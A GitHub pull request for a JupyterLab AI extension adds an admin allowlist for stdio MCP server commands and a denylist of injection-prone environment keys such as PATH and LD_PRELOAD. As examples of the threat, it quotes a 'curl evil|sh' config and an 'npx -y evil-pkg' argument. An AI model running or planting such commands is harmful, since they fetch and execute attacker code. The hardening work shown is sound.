security(mcp): admin allowlist for stdio MCP server commands#298
Open
pjdoland wants to merge 2 commits into
Open
security(mcp): admin allowlist for stdio MCP server commands#298pjdoland wants to merge 2 commits into
pjdoland wants to merge 2 commits into
Conversation
mbektas
approved these changes
May 18, 2026
MCP servers configured with a stdio transport are spawned as subprocesses
of the JupyterLab server user, with full filesystem and network reach.
Both the Claude CLI mcp add path and the in-process mcp.json loader
forwarded the user-supplied command verbatim to the kernel, validating
only flag-smuggling. A social-engineered or LLM-suggested config like
{command: 'sh', args: ['-c', 'curl evil|sh']} landed as RCE on the next
session start.
Add an opt-in regex allowlist plumbed via mcp_stdio_command_allowlist
(traitlet on NotebookIntelligence) and NBI_MCP_STDIO_COMMAND_ALLOWLIST
(CSV env that appends to the traitlet, via the existing
_resolve_csv_appended helper). When non-empty, every stdio MCP server,
whether added via Claude mcp add or loaded from mcp.json, must match at
least one pattern. Empty list (the default) means no enforcement so
existing per-user deployments are unaffected.
The binary-name gate is paired with a fixed denylist of dangerous env
keys (PATH, LD_PRELOAD, LD_LIBRARY_PATH, LD_AUDIT, DYLD_*, PYTHONPATH,
PYTHONSTARTUP, PYTHONHOME, NODE_OPTIONS, NODE_PATH, BASH_ENV, ENV)
applied to every stdio MCP entry regardless of allowlist state. Without
that companion check, a poisoned PATH would resolve an allowlisted
binary name to attacker-controlled code, and LD_PRELOAD-style preloads
would inject a shared object before the binary's entry point runs.
Failure handling matches the surrounding context at each gate: the
ClaudeMCPManager.add_server REST POST raises ValueError to surface a
400 with the operator's message, while MCPManager.create_mcp_server
warns and skips so one bad mcp.json entry cannot take the others
offline. URL transports are not gated (they don't fork a local process;
HTTPS-only continues to apply); args are not gated either, and the
helptext and admin-guide section call this out as a known scope
limitation that admins close by pointing command at a wrapper script
they own.
Second-pass review surfaced two gaps:
1. ``MCPConfigFileHandler.post`` wrote the user's mcp.json to disk and
then let ``update_mcp_servers`` log + skip rejected entries at load
time. A rejected stdio entry would persist and re-trigger the
warning on every restart, with the user's settings UI reporting
{"status":"ok"} either way. Add the same allowlist + env-key
denylist check inside the handler, return HTTP 400 with the
policy message, and refuse the write. The Claude-mode path and
the JSON-paste path now reject identically.
2. ``reject_dangerous_env_keys`` used a case-only comparison, so
`" PATH"` / `"PATH\t"` would slip past while still being honored by
downstream subprocess env handling. Normalize with strip+upper
before comparing. New parametrized test pins the leading/trailing-
whitespace and mixed-case variants.
Also: handler test that exercises the rejection path through the
real ``post`` function (via ``__wrapped__`` to bypass the
@authenticated decorator), confirming (a) HTTP 400 status, (b) error
message contains the policy hint, (c) nbi_config.save is NOT called.
69db9d5 to
2d4b34b
Compare
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
MCP servers configured with a stdio transport are spawned as subprocesses of the JupyterLab server user. Both insertion points (
ClaudeMCPManager.add_serverfor the Claude CLImcp addflow, andMCPManager.create_mcp_serverfor the in-processmcp.jsonloader) previously validated only flag-smuggling on thecommandfield. A poisoned config like{command: 'sh', args: ['-c', 'curl evil|sh']}was accepted and ran on next session start.Solution
Add an opt-in regex allowlist for the stdio
commandbinary, plumbed via:mcp_stdio_command_allowlisttraitlet onNotebookIntelligence(List[Unicode], default empty)NBI_MCP_STDIO_COMMAND_ALLOWLISTenv var (CSV; appends to the traitlet via the existing_resolve_csv_appendedhelper)ClaudeMCPManagervia a class attribute onClaudeMCPBaseHandlerand intoMCPManagervia theAIServiceManageroptions dictEmpty list (the default) means no enforcement; per-user deployments keep working unchanged. Non-empty list rejects any stdio MCP server whose
commandmatches no pattern. Patterns arere.search; admins anchor with^...$for literal equality.Paired with a fixed env-key denylist (
PATH,LD_PRELOAD,LD_LIBRARY_PATH,LD_AUDIT,DYLD_*,PYTHONPATH,PYTHONSTARTUP,PYTHONHOME,NODE_OPTIONS,NODE_PATH,BASH_ENV,ENV) applied to every stdio MCP entry regardless of allowlist state. Without that companion check, an attacker could resolve an allowlisted binary name through a poisonedPATH, or inject a shared object before the binary's entry point viaLD_PRELOAD. The env-key check normalizes with.strip().upper()before comparing so smuggling via" PATH"or"PATH\t"is caught the same way as"PATH".The allowlist also gates the HTTP write path (
MCPConfigFileHandler.post): a rejected stdio entry returns HTTP 400 with the policy message and is refused before the user's mcp.json is touched. Without this, a rejected entry would be persisted to disk and re-trigger the load-time warning on every restart; the spawn-side gate alone left the two surfaces inconsistent.Failure handling per call site:
ClaudeMCPManager.add_serverandMCPConfigFileHandler.postraise/returnValueErrorso the REST POST returns 400 with the message visible in the Settings UIMCPManager.create_mcp_serverlogs a warning naming the server and skips so one badmcp.jsonentry cannot disable the restTesting
tests/test_mcp_policy.py: validator semantics (default permissive, anchoring footgun, empty/non-string command), regex compile errors (loud-fail-on-typo), env-key denylist coverage (Linux + macOS variants, case-insensitive, whitespace normalization for leading/trailing space and tab).tests/test_claude_mcp_manager.py: cases covering the new branch (allowlist rejects with no CLI fork, allowlist accepts and proceeds, URL transports unaffected, env-key rejection at add time).tests/test_mcp_manager_command_allowlist.py: permissive default, rejection log, accepted command, URL transports, env-key denylist regardless of allowlist, an end-to-end traitlet to_resolve_csv_appendedto manager to validator wiring check, andMCPConfigFileHandler.postrejection (verifying HTTP 400 + nonbi_config.savecall on rejection).Risks / follow-ups
envcontaining the denylisted keys regardless of allowlist state. Theenvdenylist is the more likely catch for legitimate configs; document with operators before rolling out.commandonly.argsflow through unchecked, so an allowlist permittingnpxstill acceptsargs: ['-y', 'evil-pkg']. Admins who need argv-level control should pointcommandat a wrapper script they own. Helptext anddocs/admin-guide.mdboth call this out.allowed_mcp_url_hosts) for sse/http transports.~/.claude.jsonon startup when the allowlist tightens (Claude itself owns the spawn, so any retroactive enforcement would require either editing~/.claude.jsonfrom NBI or shelling out toclaude mcp remove).MCPManagerinstance; current cold-path call frequency makes the recompile cost negligible.